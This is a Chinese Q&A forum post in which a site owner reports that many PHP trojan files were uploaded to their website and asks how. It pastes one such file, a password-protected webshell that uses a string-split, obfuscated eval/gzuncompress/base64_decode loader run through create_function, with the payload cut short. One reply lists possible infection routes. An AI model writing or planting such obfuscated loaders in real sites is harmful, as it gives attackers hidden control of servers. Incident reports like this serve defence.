网站被挂马，上传了好多个php木马文件，是怎么上传的？

Question

代码如下

<?php
$password='wyxd';
$shellname='��վ��ȫ���';
$myurl='http://www.baidu.com';
error_reporting(E_ERROR | E_PARSE);@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename='$password=\''.$password.'\';
$shellname=\''.$shellname.'\';$myurl=\''.$myurl.'\';
e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'
eJzs/fl3HNd5J4z/zJzj/6HchtWAiaX2hRBo1UqCC0ACIClS1I
u30WgALTTQUHeDiyj+MY5nJn4dz4kla7EtybIlOZYl21IsWXZ8
PDMZTyaz+Ot5J8skmWzn+/ncW1Vd1QsIynYyOW8gEeiuuvt99v
s8z21vrHd7tU5vcmr+E7+12dhq7jcmq3t3a5ubnUa3W52eWF+N
V67........

V0\')));';$Base=Create_Function('',$filename);$Base();?>

Answer 1

很多可能性，比如说通过上传+代码注入的方式，拿到webshell
也可能是本身服务器感染了木马